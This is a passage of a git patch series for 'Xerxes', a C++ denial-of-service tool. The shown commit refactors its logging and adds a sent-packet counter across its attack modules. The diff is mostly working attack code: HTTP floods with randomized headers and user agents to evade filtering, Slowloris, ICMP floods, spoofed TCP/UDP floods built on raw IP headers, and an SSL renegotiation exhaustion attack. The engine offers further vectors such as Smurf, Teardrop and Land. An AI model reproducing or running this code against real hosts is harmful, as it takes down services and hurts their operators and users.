-34,3 +30,13 @@ std::string httphdr::get() { unsigned long httphdr::length() { return hdr.length(); } + +httphdr& httphdr::operator=(std::string& header) noexcept{ + hdr = header; + return *this; +} + +httphdr& httphdr::operator=(httphdr&& header) noexcept{ + hdr = header.get(); + return *this; +} From 7303bdc77628047e38ad49a6cea72cd9749303d3 Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Fri, 1 Jun 2018 21:39:41 +0400 Subject: [PATCH 04/20] Refactoring... --- CMakeLists.txt | 2 +- Headers/Attack_Vector.hpp | 3 +- Headers/Beast.hpp | 2 +- Headers/Configuration.hpp | 17 +++++- Headers/Engine.hpp | 1 - Headers/Http_Flood.hpp | 5 +- Headers/ICMP_Flood.hpp | 2 +- Headers/Logger.hpp | 19 ------ Headers/Logging.hpp | 15 +++++ Headers/Null_Flood.hpp | 5 +- Headers/Parser.hpp | 2 +- Headers/Randomizer.hpp | 32 +++++------ Headers/Slowloris.hpp | 5 +- Headers/Spoofed_Flood.hpp | 1 - Headers/Spoofed_TCP_Flood.hpp | 2 +- Headers/Spoofed_UDP_Flood.hpp | 2 +- Headers/httphdr.hpp | 6 +- Sources/Attack_Vector.cpp | 2 +- Sources/Beast.cpp | 29 +++++----- Sources/Engine.cpp | 62 ++++++++++---------- Sources/Http_Flood.cpp | 67 +++++++++------------- Sources/ICMP_Flood.cpp | 14 ++--- Sources/Logger.cpp | 43 -------------- Sources/Null_Flood.cpp | 26 +++------ Sources/Parser.cpp | 105 ++++++++++++++++------------------ Sources/Slowloris.cpp | 43 ++++++-------- Sources/Spoofed_Flood.cpp | 5 +- Sources/Spoofed_TCP_Flood.cpp | 15 ++--- Sources/Spoofed_UDP_Flood.cpp | 15 ++--- Sources/httphdr.cpp | 16 +++++- main.cpp | 28 ++++++--- 31 files changed, 261 insertions(+), 330 deletions(-) delete mode 100755 Headers/Logger.hpp create mode 100644 Headers/Logging.hpp delete mode 100755 Sources/Logger.cpp diff --git a/CMakeLists.txt b/CMakeLists.txt index 6f69853..1bff0f0 100755 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -14,7 +14,7 @@ endif() set(CMAKE_FIND_LIBRARY_SUFFIXES ".a") set(BUILD_SHARED_LIBRARIES OFF) set(CMAKE_EXE_LINKER_FLAGS "-static -Wl,--whole-archive -lpthread -Wl,--no-whole-archive") -add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Engine.cpp Headers/Engine.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/Logger.cpp Headers/Logger.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp Sources/httphdr.cpp Headers/httphdr.hpp) +add_executable(Xerxes main.cpp Headers/Configuration.hpp Sources/Engine.cpp Headers/Engine.hpp Sources/Validator.cpp Headers/Validator.hpp Sources/Parser.cpp Headers/Parser.hpp Sources/ICMP_Flood.cpp Headers/ICMP_Flood.hpp Headers/Attack_Vectors.hpp Headers/Randomizer.hpp Sources/Null_Flood.cpp Headers/Null_Flood.hpp Sources/Slowloris.cpp Headers/Slowloris.hpp Sources/Http_Flood.cpp Headers/Http_Flood.hpp Sources/Spoofed_Flood.cpp Headers/Spoofed_Flood.hpp Sources/Spoofed_TCP_Flood.cpp Headers/Spoofed_TCP_Flood.hpp Sources/Spoofed_UDP_Flood.cpp Headers/Spoofed_UDP_Flood.hpp Sources/Attack_Vector.cpp Headers/Attack_Vector.hpp Headers/Version.hpp Sources/Beast.cpp Headers/Beast.hpp Sources/httphdr.cpp Headers/httphdr.hpp Headers/Logging.hpp) target_link_libraries(Xerxes ${OPENSSL_LIBRARIES}) target_link_libraries(Xerxes ${CMAKE_DL_LIBS}) add_custom_command(TARGET Xerxes POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy ${CMAKE_SOURCE_DIR}/useragents ${CMAKE_CURRENT_BINARY_DIR}/useragents) diff --git a/Headers/Attack_Vector.hpp b/Headers/Attack_Vector.hpp index 044b326..b20dce8 100755 --- a/Headers/Attack_Vector.hpp +++ b/Headers/Attack_Vector.hpp @@ -2,7 +2,6 @@ #define XERXES_ATTACK_VECTOR_H #include "Configuration.hpp" -#include "Logger.hpp" class Attack_Vector { friend class Spoofed_Flood; @@ -20,7 +19,7 @@ class Attack_Vector { virtual void pause(); private: - virtual void attack(const int *id) = 0; + virtual void attack() = 0; }; diff --git a/Headers/Beast.hpp b/Headers/Beast.hpp index 98f0bc2..dcf4bf6 100755 --- a/Headers/Beast.hpp +++ b/Headers/Beast.hpp @@ -72,7 +72,7 @@ class Beast : public Attack_Vector { void init(); void update_stat(struct timeval *tv); uint64_t getusec(struct timeval *tv); - void attack(const int *id) override; + void attack() override; }; diff --git a/Headers/Configuration.hpp b/Headers/Configuration.hpp index 4331b29..bf0cedc 100755 --- a/Headers/Configuration.hpp +++ b/Headers/Configuration.hpp @@ -4,9 +4,9 @@ #include #include #include +#include #include "Version.hpp" -#include "Logger.hpp" struct Config{ enum Vector{NullTCP, NullUDP, TCPFlood, UDPFlood, HTTP, Slowloris, ICMPFlood, SpoofedUDP, @@ -27,9 +27,20 @@ struct Config{ bool RandomizeSource{false}; bool RandomizePort{false}; int delay{0}; - const std::unique_ptr logger = std::make_unique(Logger::Warning); const std::unique_ptr> useragents = std::make_unique>(); - + unsigned long long voly = 0; + struct Timer{ + clock_t start_time; + clock_t end_time; + clock_t get(){ + return end_time - start_time; + } + }timer; + void show_stat(){ + timer.end_time = clock(); + fprintf(stdout, "--- %s Attack statistics ---\n%llu Voly sent, time %f s\n", website.c_str(), voly, + ((float)timer.get())/CLOCKS_PER_SEC); + } }; const char Version[] = { diff --git a/Headers/Engine.hpp b/Headers/Engine.hpp index ea551f6..d7c99fb 100755 --- a/Headers/Engine.hpp +++ b/Headers/Engine.hpp @@ -2,7 +2,6 @@ #define XERXES_DOSER_H #include "Configuration.hpp" -#include "Logger.hpp" class Engine { public: diff --git a/Headers/Http_Flood.hpp b/Headers/Http_Flood.hpp index d1606eb..e32c7ab 100755 --- a/Headers/Http_Flood.hpp +++ b/Headers/Http_Flood.hpp @@ -4,7 +4,6 @@ #include #include "Configuration.hpp" -#include "Logger.hpp" #include "Randomizer.hpp" #include "Attack_Vector.hpp" #include "httphdr.hpp" @@ -18,8 +17,8 @@ class Http_Flood : public Attack_Vector { void run() override; private: - void attack(const int *id) override; - virtual void attack_ssl(const int *id); + void attack() override; + virtual void attack_ssl(); virtual int make_socket(const char *host, const char *port, int sock_type); SSL_CTX* InitCTX(); SSL *Apply_SSL(int socket, SSL_CTX *ctx); diff --git a/Headers/ICMP_Flood.hpp b/Headers/ICMP_Flood.hpp index 5ca20ea..9e75d1d 100755 --- a/Headers/ICMP_Flood.hpp +++ b/Headers/ICMP_Flood.hpp @@ -8,7 +8,7 @@ class ICMP_Flood : public Spoofed_Flood { explicit ICMP_Flood(std::shared_ptr conf); private: - void attack(const int *id) override; + void attack() override; void init_headers(iphdr *ip, icmphdr *icmp, char *buf); void override_headers(icmphdr *tcp, iphdr *ip); diff --git a/Headers/Logger.hpp b/Headers/Logger.hpp deleted file mode 100755 index 35ce1c8..0000000 --- a/Headers/Logger.hpp +++ /dev/null @@ -1,19 +0,0 @@ -#ifndef XERXES_LOGGER_H -#define XERXES_LOGGER_H - -class Logger { -public: - enum Level{None, Error, Warning, Info}; - Logger(); - explicit Logger(Level l); - - void Log(std::string *message, Level l); - void Log(const char* message, Level l); - void setLevel(Level l); - -private: - Level level{Warning}; -}; - - -#endif //XERXES_LOGGER_H diff --git a/Headers/Logging.hpp b/Headers/Logging.hpp new file mode 100644 index 0000000..ed918e1 --- /dev/null +++ b/Headers/Logging.hpp @@ -0,0 +1,15 @@ +#ifndef XERXES_LOGGING_H +#define XERXES_LOGGING_H + +#include + +#define RED "\x1B[31m" // Color Terminal Red +#define YEL "\x1B[33m" // Color Terminal Yellow +#define GRN "\x1B[32m" // Color Terminal Green +#define RESET "\x1B[0m" // Color Terminal Reset color + +#define print_error(err) fprintf(stderr, "%s%s %s%s\n", RED, "[ERROR]:", (err), RESET); +#define print_info(inf) fprintf(stdout, "%s%s %s%s\n", GRN, "[INFO]:", (inf), RESET); +#define print_warning(warn) fprintf(stdout, "%s%s %s%s\n", YEL, "[WARNING]:", (warn), RESET); + +#endif //XERXES_LOGGING_H diff --git a/Headers/Null_Flood.hpp b/Headers/Null_Flood.hpp index fe1517d..c5c206f 100755 --- a/Headers/Null_Flood.hpp +++ b/Headers/Null_Flood.hpp @@ -2,7 +2,6 @@ #define XERXES_NULL_FLOOD_H #include "Configuration.hpp" -#include "Logger.hpp" #include "Http_Flood.hpp" class Null_Flood : public Http_Flood { @@ -10,8 +9,8 @@ class Null_Flood : public Http_Flood { explicit Null_Flood(std::shared_ptr conf); private: - void attack(const int *id) override; - void attack_ssl(const int *id) override; + void attack() override; + void attack_ssl() override; }; diff --git a/Headers/Parser.hpp b/Headers/Parser.hpp index 865bdfa..9d9d5c8 100755 --- a/Headers/Parser.hpp +++ b/Headers/Parser.hpp @@ -23,7 +23,7 @@ class Parser { void check_root(); void getUserAgents(); void init_arguments(); - std::map> arguments; + std::map> arguments; }; diff --git a/Headers/Randomizer.hpp b/Headers/Randomizer.hpp index 00073c9..adb6656 100755 --- a/Headers/Randomizer.hpp +++ b/Headers/Randomizer.hpp @@ -37,45 +37,45 @@ namespace Randomizer{ } } - static const std::string& randomize_Vector(const std::vector &vec){ - return vec[randomInt(0, static_cast(vec.size()) -1)]; + static const void randomize_Vector(const std::vector &vec, std::string& src){ + src = vec[randomInt(0, static_cast(vec.size()) -1)]; } - static const std::string& random_referer(){ + static const void random_referer(std::string& src){ static std::vector referer{ "https://www.google.com/", "https://www.yahoo.com/", "https://www.bing.com/", "https://twitter.com/", "https://www.facebook.com/", "https://www.msn.com/", "https://www.youtube.com/", "https://yandex.com/", "https://www.amazon.com/"}; - return randomize_Vector(referer); + randomize_Vector(referer, src); } - static const std::string& random_useragent(const std::vector &useragents){ - return randomize_Vector(useragents); + static const void random_useragent(const std::vector &useragents, std::string& src){ + randomize_Vector(useragents, src); } - static const std::string& random_encoding(){ + static const void random_encoding(std::string& src){ static std::vector encoding{"\'\'", "*", "identity", "gzip", "deflate"}; - return randomize_Vector(encoding); + randomize_Vector(encoding, src); } - static const std::string& random_caching(){ + static const void random_caching(std::string& src){ static std::vector caching{"no-cache", "max-age=0"}; - return randomize_Vector(caching); + randomize_Vector(caching, src); } - static const std::string& random_charset(){ + static const void random_charset(std::string& src){ static std::vector charset{"ISO-8859-1", "utf-8", "Windows-1251", "ISO-8859-2", "ISO-8859-15"}; - return randomize_Vector(charset); + randomize_Vector(charset, src); } - static const std::string& random_contenttype(){ + static const void random_contenttype(std::string& src){ static std::vector contenttype{"multipart/form-data", "application/x-url-encoded"}; - return randomize_Vector(contenttype); + randomize_Vector(contenttype, src); } - static const std::string& random_method(){ + static const void random_method(std::string& src){ static std::vector methods{"GET", "HEAD"}; - return randomize_Vector(methods); + randomize_Vector(methods, src); } } diff --git a/Headers/Slowloris.hpp b/Headers/Slowloris.hpp index f081b9e..027aca0 100755 --- a/Headers/Slowloris.hpp +++ b/Headers/Slowloris.hpp @@ -2,7 +2,6 @@ #define XERXES_SLOWLORIS_H #include "Configuration.hpp" -#include "Logger.hpp" #include "Randomizer.hpp" #include "Http_Flood.hpp" @@ -11,8 +10,8 @@ class Slowloris : public Http_Flood { explicit Slowloris(std::shared_ptr conf); private: - void attack(const int *id) override; - void attack_ssl(const int *id) override; + void attack() override; + void attack_ssl() override; void init_header(httphdr *header) override; }; diff --git a/Headers/Spoofed_Flood.hpp b/Headers/Spoofed_Flood.hpp index fb4eae6..3c1615a 100755 --- a/Headers/Spoofed_Flood.hpp +++ b/Headers/Spoofed_Flood.hpp @@ -7,7 +7,6 @@ #include #include "Configuration.hpp" -#include "Logger.hpp" #include "Attack_Vector.hpp" class Spoofed_Flood : public Attack_Vector { diff --git a/Headers/Spoofed_TCP_Flood.hpp b/Headers/Spoofed_TCP_Flood.hpp index 9e0a30f..00a17bb 100755 --- a/Headers/Spoofed_TCP_Flood.hpp +++ b/Headers/Spoofed_TCP_Flood.hpp @@ -8,7 +8,7 @@ class Spoofed_TCP_Flood : public Spoofed_Flood { explicit Spoofed_TCP_Flood(std::shared_ptr conf); private: - void attack(const int *id) override; + void attack() override; void init_headers(iphdr *ip, tcphdr *tcp, char *buf); void override_headers(tcphdr *tcp, iphdr *ip); }; diff --git a/Headers/Spoofed_UDP_Flood.hpp b/Headers/Spoofed_UDP_Flood.hpp index 409ef0c..ca8dfaf 100755 --- a/Headers/Spoofed_UDP_Flood.hpp +++ b/Headers/Spoofed_UDP_Flood.hpp @@ -8,7 +8,7 @@ class Spoofed_UDP_Flood : public Spoofed_Flood { explicit Spoofed_UDP_Flood(std::shared_ptr conf); private: - void attack(const int *id) override; + void attack() override; void init_headers(iphdr *ip, udphdr *udp, char *buf); void override_headers(udphdr *udp, iphdr *ip); }; diff --git a/Headers/httphdr.hpp b/Headers/httphdr.hpp index 22d36de..f0c41ec 100644 --- a/Headers/httphdr.hpp +++ b/Headers/httphdr.hpp @@ -13,8 +13,10 @@ class httphdr { void generate(); void generate_unterminated(); std::string get(); + unsigned long length(); + std::string method{}; - std::string location{}; + std::string path{}; std::string useragent{}; std::string cache_control{}; std::string encoding{}; @@ -27,7 +29,7 @@ class httphdr { int DNT = 0; std::string accept{}; int content_length = 0; - unsigned long length(); + private: std::string hdr{}; diff --git a/Sources/Attack_Vector.cpp b/Sources/Attack_Vector.cpp index 3187edd..103cf58 100755 --- a/Sources/Attack_Vector.cpp +++ b/Sources/Attack_Vector.cpp @@ -8,7 +8,7 @@ Attack_Vector::Attack_Vector(std::shared_ptr conf) : conf{std::move(conf void Attack_Vector::run() { for (int x = 0; x < conf->THREADS; x++) { if(fork()){ - attack(&x); + attack(); } } getc(stdin); diff --git a/Sources/Beast.cpp b/Sources/Beast.cpp index 3bb0019..2472c7c 100755 --- a/Sources/Beast.cpp +++ b/Sources/Beast.cpp @@ -6,13 +6,13 @@ #include #include "../Headers/Beast.hpp" +#include "../Headers/Logging.hpp" Beast::Beast(std::shared_ptr conf) : Attack_Vector(std::move(conf)) { } -void Beast::attack(const int *id) { - std::string message{}; +void Beast::attack() { init(); fd_set rfds; fd_set wfds; @@ -35,15 +35,15 @@ void Beast::attack(const int *id) { } } if(n < 0){ - conf->logger->Log("Select()", Logger::Error); + print_error("Select()"); exit(EXIT_FAILURE); } int end = opt.n_peers; for(int i = 0; i < end; i++){ if((peers[i].state == TCP_CONNECTING) && (peers[i].tv_connect_sec + TO_TCP_CONNECT < tv.tv_sec)){ - message = "Connection timed out: "; - message += std::to_string(i); - conf->logger->Log(&message, Logger::Warning); + char message[512]; + snprintf(message, sizeof(message), "Connection timed out: %d", i); + print_warning(message); PEER_disconnect(&peers[i]); continue; } @@ -59,8 +59,7 @@ void Beast::attack(const int *id) { continue; } } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + conf->voly++; pause(); } @@ -99,7 +98,7 @@ void Beast::SSL_set_rw(_peer *p, int ret) { break; default: if(opt.stat.total_ssl_connect <= 0){ - conf->logger->Log("Ssl error", Logger::Error); + print_error("SSL error"); exit(EXIT_FAILURE); } opt.stat.error_count++; @@ -133,7 +132,7 @@ int Beast::ssl_handshake_io(_peer *p) { int err = SSL_get_error(p->ssl, ret); if((err != SSL_ERROR_WANT_READ) && (err != SSL_ERROR_WANT_WRITE)){ if(opt.stat.total_renegotiations <= 0){ - conf->logger->Log("Renegotiations error", Logger::Error); + print_error("Renegotiations error"); exit(EXIT_FAILURE); } } @@ -191,7 +190,7 @@ void Beast::PEER_SSL_connect(_peer *p) { void Beast::PEER_connect(_peer *p) { if (tcp_connect(p) != 0){ - conf->logger->Log("Tcp_connect()", Logger::Error); + print_error("Tcp_connect()"); exit(EXIT_FAILURE); } } @@ -232,7 +231,7 @@ int Beast::tcp_connect_try_finish(_peer *p, int ret) { if(ret != 0){ if((errno != EINPROGRESS) && (errno != EAGAIN)){ if(opt.stat.total_tcp_connections <= 0){ - conf->logger->Log("Tcp connect", Logger::Error); + print_error("Tcp connect"); exit(EXIT_FAILURE); } return -1; @@ -298,7 +297,7 @@ void Beast::CompleteState(_peer *p) { }else{ if(opt.n_peers < opt.n_max_peers){ if(peers[opt.n_peers].state != UNKNOWN){ - conf->logger->Log("Tnternal error", Logger::Error); + print_error("Tnternal error"); exit(EXIT_FAILURE); } PEER_disconnect(&peers[opt.n_peers]); @@ -309,7 +308,7 @@ void Beast::CompleteState(_peer *p) { case SSL_CONNECTING: ret = ssl_connect_io(p); if(ret != 0){ - conf->logger->Log("Ssl_connect_io()", Logger::Error); + print_error("SSL_connect_io()"); exit(EXIT_FAILURE); } break; @@ -328,7 +327,7 @@ void Beast::CompleteState(_peer *p) { } break; default: - conf->logger->Log("Unknown state", Logger::Error); + print_error("Unknown state"); exit(EXIT_FAILURE); } } diff --git a/Sources/Engine.cpp b/Sources/Engine.cpp index 4329c4a..3456345 100755 --- a/Sources/Engine.cpp +++ b/Sources/Engine.cpp @@ -4,111 +4,111 @@ #include #include "../Headers/Engine.hpp" #include "../Headers/Attack_Vectors.hpp" +#include "../Headers/Logging.hpp" void Engine::run() { std::unique_ptr flood; - std::string message = std::string("Attacking ") + conf->website + ":" + conf->port + " with " - + std::to_string(conf->THREADS) + " Threads, " - + std::to_string(conf->CONNECTIONS) + " Connections"; - conf->logger->Log(&message, Logger::Warning); - message = "Delay: " + std::to_string(conf->delay) + " microsecs"; - conf->logger->Log(&message, Logger::Warning); + char message[512]{}; + snprintf(message, sizeof(message), "Attacking %s:%s with %d Threads, %d Connections", + conf->website.c_str(), conf->port.c_str(), conf->THREADS, conf->CONNECTIONS); + print_info(message); + snprintf(message, sizeof(message), "Delay: %d microsecs", conf->delay); + print_info(message); switch(conf->vector){ case Config::HTTP: - conf->logger->Log("Attack Vector: HTTP", Logger::Info); + print_info("Attack Vector: HTTP"); flood = std::make_unique(conf); break; case Config::NullTCP: - conf->logger->Log("Attack Vector: NullTCP", Logger::Info); + print_info("Attack Vector: NullTCP"); flood = std::make_unique(conf); break; case Config::NullUDP: - conf->logger->Log("Attack Vector: NullUDP", Logger::Info); + print_info("Attack Vector: NullUDP"); flood = std::make_unique(conf); break; case Config::UDPFlood: - conf->logger->Log("Attack Vector: UDPFlood", Logger::Info); + print_info("Attack Vector: UDPFlood"); flood = std::make_unique(conf); break; case Config::TCPFlood: - conf->logger->Log("Attack Vector: TCPFlood", Logger::Info); + print_info("Attack Vector: TCPFlood"); flood = std::make_unique(conf); break; case Config::Slowloris: - conf->logger->Log("Attack Vector: Slowloris", Logger::Info); + print_info("Attack Vector: Slowloris"); flood = std::make_unique(conf); break; case Config::Rudy: - conf->logger->Log("Attack Vector: Rudy", Logger::Info); + print_info("Attack Vector: Rudy"); flood = std::make_unique(conf); break; case Config::ICMPFlood: - conf->logger->Log("Attack Vector: ICMP Flood", Logger::Info); + print_info("Attack Vector: ICMP Flood"); flood = std::make_unique(conf); break; case Config::Blacknurse: - conf->logger->Log("Attack Vector: Black Nurse", Logger::Info); + print_info("Attack Vector: Black Nurse"); flood = std::make_unique(conf); break; case Config::SpoofedSyn: - conf->logger->Log("Attack Vector: Spoofed Syn Flood", Logger::Info); + print_info("Attack Vector: Spoofed Syn Flood"); flood = std::make_unique(conf); break; case Config::SpoofedAck: - conf->logger->Log("Attack Vector: Spoofed Ack Flood", Logger::Info); + print_info("Attack Vector: Spoofed Ack Flood"); flood = std::make_unique(conf); break; case Config::SpoofedRST: - conf->logger->Log("Attack Vector: Spoofed Rst Flood", Logger::Info); + print_info("Attack Vector: Spoofed Rst Flood"); flood = std::make_unique(conf); break; case Config::SpoofedURG: - conf->logger->Log("Attack Vector: Spoofed Urg Flood", Logger::Info); + print_info("Attack Vector: Spoofed Urg Flood"); flood = std::make_unique(conf); break; case Config::SpoofedPUSH: - conf->logger->Log("Attack Vector: Spoofed Push Flood", Logger::Info); + print_info("Attack Vector: Spoofed Push Flood"); flood = std::make_unique(conf); break; case Config::SpoofedFin: - conf->logger->Log("Attack Vector: Spoofed Fin Flood", Logger::Info); + print_info("Attack Vector: Spoofed Fin Flood"); flood = std::make_unique(conf); break; case Config::SpoofedUDP: - conf->logger->Log("Attack Vector: Spoofed UDP", Logger::Info); + print_info("Attack Vector: Spoofed UDP"); flood = std::make_unique(conf); break; case Config::Beast: - conf->logger->Log("Attack Vector: Beast", Logger::Info); + print_info("Attack Vector: Beast"); flood = std::make_unique(conf); break; case Config::TearDrop: - conf->logger->Log("Attack Vector: Teardrop", Logger::Info); + print_info("Attack Vector: Teardrop"); flood = std::make_unique(conf); break; case Config::Land: - conf->logger->Log("Attack Vector: Land", Logger::Info); + print_info("Attack Vector: Land"); flood = std::make_unique(conf); break; case Config::Smurf:{ - conf->logger->Log("Attack Vector: Smurf", Logger::Info); + print_info("Attack Vector: Smurf"); flood = std::make_unique(conf); break; } default:break; } if(conf->UseSSL){ - conf->logger->Log("SSL Enabled", Logger::Info); + print_info("SSL Enabled"); } if(conf->RandomizeHeader){ - conf->logger->Log("Header Randomization Enabled", Logger::Info); + print_info("Header Randomization Enabled"); } if(conf->RandomizeUserAgent){ - conf->logger->Log("Useragent Randomization Enabled", Logger::Info); + print_info("Useragent Randomization Enabled"); } - conf->logger->Log("Press to stop\n", Logger::Info); - usleep(1000000); + fprintf(stdout, "%s", "--- press to stop ---\n\n\n"); flood->run(); } diff --git a/Sources/Http_Flood.cpp b/Sources/Http_Flood.cpp index 2c792bf..50e26ae 100755 --- a/Sources/Http_Flood.cpp +++ b/Sources/Http_Flood.cpp @@ -6,6 +6,7 @@ #include "../Headers/Http_Flood.hpp" #include "../Headers/httphdr.hpp" +#include "../Headers/Logging.hpp" Http_Flood::Http_Flood(std::shared_ptr conf) : Attack_Vector(std::move(conf)){ @@ -16,9 +17,9 @@ void Http_Flood::run() { for (int x = 0; x < conf->THREADS; x++) { if(fork()){ if(conf->UseSSL){ - attack_ssl(&x); + attack_ssl(); }else{ - attack(&x); + attack(); } } } @@ -28,14 +29,13 @@ void Http_Flood::run() { int Http_Flood::make_socket(const char *host, const char *port, int sock_type) { struct addrinfo hints{}, *servinfo, *p; int sock = 0, r; - std::string message = std::string("Connecting-> ") + host + ":" + port; - conf->logger->Log(&message, Logger::Info); bzero(&hints, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = sock_type; if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) { - message = std::string("Getaddrinfo-> ") + gai_strerror(r); - conf->logger->Log(&message, Logger::Error); + char message[512]; + snprintf(message, sizeof(message), "Getaddrinfo-> %s", gai_strerror(r)); + print_error(message); exit(EXIT_FAILURE); } for(p = servinfo; p != nullptr; p = p->ai_next) { @@ -52,14 +52,12 @@ int Http_Flood::make_socket(const char *host, const char *port, int sock_type) { if(servinfo){ freeaddrinfo(servinfo); } - conf->logger->Log("No connection could be made", Logger::Error); + print_error("No connection could be made"); exit(EXIT_FAILURE); } if(servinfo){ freeaddrinfo(servinfo); } - message = std::string("Connected-> ") + host + ":" + port; - conf->logger->Log(&message, Logger::Info); return sock; } @@ -69,7 +67,7 @@ SSL_CTX *Http_Flood::InitCTX() { SSL_CTX *ctx; ctx = SSL_CTX_new(method); if (ctx == nullptr){ - conf->logger->Log("Unable to connect using ssl", Logger::Error); + print_error("Unable to connect using ssl"); exit(EXIT_FAILURE); } return ctx; @@ -79,7 +77,7 @@ SSL *Http_Flood::Apply_SSL(int socket, SSL_CTX *ctx) { SSL *ssl = SSL_new(ctx); SSL_set_fd(ssl, socket); if(SSL_connect(ssl) == -1){ - conf->logger->Log("Unable to connect using ssl", Logger::Error); + print_error("Unable to connect using ssl"); exit(EXIT_FAILURE); } return ssl; @@ -117,7 +115,7 @@ int Http_Flood::write_socket(SSL *ssl, const char *string, int length) { return (SSL_write(ssl, string, length)); } -void Http_Flood::attack(const int *id) { +void Http_Flood::attack() { int r; std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); @@ -125,34 +123,28 @@ void Http_Flood::attack(const int *id) { sockets.emplace_back(0); } while(true) { - static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { if(!sockets[x]){ sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); } httphdr header{}; init_header(&header); - if((r = write_socket(sockets[x], header.get().c_str(), header.length())) == -1){ + if((r = write_socket(sockets[x], header.get().c_str(), static_cast(header.length()))) == -1){ cleanup(&sockets[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); }else{ if(conf->GetResponse){ read_socket(sockets[x]); } - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + conf->voly++; } } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + conf->voly++; pause(); } } -void Http_Flood::attack_ssl(const int *id) { +void Http_Flood::attack_ssl() { int r; std::vector sockets; std::vector CTXs; @@ -166,7 +158,6 @@ void Http_Flood::attack_ssl(const int *id) { CTXs.emplace_back(nullptr); } while(true) { - static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { if(!sockets[x]){ sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); @@ -184,15 +175,10 @@ void Http_Flood::attack_ssl(const int *id) { if(conf->GetResponse){ read_socket(SSLs[x]); } - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + conf->voly++; } } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + conf->voly++; pause(); } } @@ -200,10 +186,10 @@ void Http_Flood::attack_ssl(const int *id) { const SSL_METHOD *Http_Flood::GetMethod() { switch (conf->protocol){ case Config::TCP: - return TLSv1_1_client_method(); + return TLS_client_method(); case Config::UDP: #ifdef DTLS_ANY_VERSION - return DTLSv1_2_client_method(); + return DTLS_client_method(); #else conf->logger->Log("Unable to find DTLS", Logger::Info); exit(EXIT_FAILURE); @@ -220,18 +206,19 @@ void Http_Flood::init_header(httphdr *header) { Randomizer::randomstr((std::string&)*header); break; case Config::HTTP:{ - header->method = Randomizer::random_method(); + Randomizer::random_method(header->method); if(conf->RandomizeHeader){ - Randomizer::randomstr(header->location); + Randomizer::randomstr(header->path); } - header->useragent = Randomizer::random_useragent(*(conf->useragents)); - header->cache_control = Randomizer::random_caching(); - header->encoding = Randomizer::random_encoding(); - header->charset = {Randomizer::random_charset(), Randomizer::random_charset()}; - header->referer = Randomizer::random_referer(); + Randomizer::random_useragent(*(conf->useragents), header->useragent); + Randomizer::random_caching(header->cache_control); + Randomizer::random_encoding(header->encoding); + Randomizer::random_charset(header->charset[0]); + Randomizer::random_charset(header->charset[1]); + Randomizer::random_referer(header->referer); header->accept = "*/*"; header->connection_type = "Keep-Alive"; - header->content_type = Randomizer::random_contenttype(); + Randomizer::random_contenttype(header->content_type); Randomizer::randomstr(header->cookie[0]); Randomizer::randomstr(header->cookie[1]); header->keep_alive = Randomizer::randomInt(1, 5000); diff --git a/Sources/ICMP_Flood.cpp b/Sources/ICMP_Flood.cpp index 04f767b..9d413f6 100755 --- a/Sources/ICMP_Flood.cpp +++ b/Sources/ICMP_Flood.cpp @@ -7,8 +7,9 @@ #include "../Headers/ICMP_Flood.hpp" #include "../Headers/Randomizer.hpp" +#include "../Headers/Logging.hpp" -void ICMP_Flood::attack(const int *id) { +void ICMP_Flood::attack() { int r; std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); @@ -31,7 +32,7 @@ void ICMP_Flood::attack(const int *id) { if((hp = gethostbyname(conf->website.c_str())) == nullptr){ if((ip->daddr = inet_addr(conf->website.c_str())) == -1){ - conf->logger->Log("Can't resolve the host", Logger::Error); + print_error("Can't resolve the host"); exit(EXIT_FAILURE); } }else{ @@ -59,15 +60,10 @@ void ICMP_Flood::attack(const int *id) { close(sockets[x]); sockets[x] = make_socket(IPPROTO_ICMP); }else{ - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + conf->voly++; } } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + conf->voly++; pause(); } } diff --git a/Sources/Logger.cpp b/Sources/Logger.cpp deleted file mode 100755 index 6e0cd69..0000000 --- a/Sources/Logger.cpp +++ /dev/null @@ -1,43 +0,0 @@ -#include - -#include "../Headers/Logger.hpp" - -#define RED "\x1B[31m" // Color Terminal Red -#define YEL "\x1B[33m" // Color Terminal Yellow -#define GRN "\x1B[32m" // Color Terminal Green -#define RESET "\x1B[0m" // Color Terminal Reset color - -void 